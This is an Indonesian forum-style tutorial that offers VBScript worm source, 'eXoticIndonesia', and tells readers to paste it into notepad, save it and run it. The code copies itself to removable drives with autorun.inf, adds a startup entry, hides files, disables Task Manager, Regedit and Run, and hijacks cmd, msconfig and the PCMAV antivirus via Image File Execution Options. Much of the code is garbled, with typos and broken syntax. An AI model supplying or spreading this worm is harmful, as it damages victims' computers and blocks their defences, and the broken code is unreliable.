Siapa bilang bikin virus itu susah ??? Harus menggunakan VB dan segala macem tek-tek bengek bahasa pemrograman, salah, pake notepad juga sebenarnya bisa memebuat sebuah virus yang memang lumayan bisa membingungkan bagi para newbie, langsung aja agan-agan dan aganwati. Agan dan Aganwati buka notepadnya dan copy saja lah code punya saya ini. dan jangan lupa Cendolhuiisssnya

'exoticindonesia
'Varian dari eXoticIndonesia.vbs

'Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,exo,nt,check,sd

'siapkan isi autorun
isi = "[autorun]" & vbcrlf & "shellexecute=wsscript.exe k4l0n6ms32.dll.vbs"
se fs = createobject ("Scripting.Sile SystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
chek = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofsstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'buat file induk
Set windowspath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\exoticindonesia.dll.vbs")

tf.attributes = 32
set tf = fs.createtextfile (windowpath & "\exoticindonesia.dll.vbs",2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & "\exoticindonesia.dll.vbs")
tf.attributes = 39

'sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives

if (desades.drivetype = 1 or desades.drivetype = 2) and desades.path<> "A:" then

set tf=fs.getfile(desades.path &"\exoticindonesia32.dll.vbs")
tf.attributes = 32
set tf=fs.getfile(desades.path&"\exoticindonesia32.dll.vbs",2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path&"\exoticindonesia32.dll.vbs")
tf.attributes = 39

set tf =fs.getfile(desades.path &\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(desades.path &"\aurorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &"\autorun.inf")
tf.attributes=39
end if
next

'Manipulasi Registry
set exoticindonesia = createobject("WScript.Shell")

'Ubah IE Title
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main\Window Title","::~>eXoBaniSoulHacker2012<~::"

'File Hidden tak terlihat
exoticindonesia.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\currentVersion\Policies\Explorer\Advanced\Hidden",2,"REG_DWORD

'Blokir Find, FolderOption, Run, Regedit, Task Maanager, dan klik kanan exoticindonesia.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
exoticindonesia.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOption","REG_DWORD"
exoticindonesia.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\Currenet\Policies\Explorer\NoRun","1","REG_DWORD"
exoticindonesia.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\currenetVersion\Policies\System\DisableRegistryTool","1"REG_DWORD"
exoticindonesia.RegWrite
"HKET_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1","REG_DWORD"

exoticindonesia.RegWrite
"HKEY_Current_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu","1","REG_DWORD"

'Buat Pesan Saat Windows Starup
exoticindonesia.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir",windowpath & "\batch-exoticindonesia.dll.vbs"

'Alihkan aplikasi berikut. jika dibuka maka program terbuka dengan notepad

exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\cmd.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\Instal.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\msconfig.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\regedit.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\regedt32.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\RegistryEditor.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\setup.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\PCMAV.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\PCMAV-CLN.exe\Debugger","notepad.exe"
exoticindonesia.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option\PCMAV-RTP.exe\Debugger","notepad.exe"
'Bonus
if check <> 1 then
Wsricpt.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorerw.exe/e,/select," & Wscript.ScriptFullName

Setelah anda menempatkn kode tersebut klik FILE > SAVE
. Di File Type Pilih ALL FILES (*.*) lali u seimpan dengan nama exoticindonesia32.dll.vbs. Setelah itu coba agan jalanakan. Dan ya, Agan sudah berhasil menjalanakan exoticindonesia.vbs di komputer anda. Jika anda membuka aplikasi yang bernama cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti bahasa pamrograman yang mungkin tidak agan mengerti...

Good Luck !! Semoga berhasil





kalo masih belum ngerti juga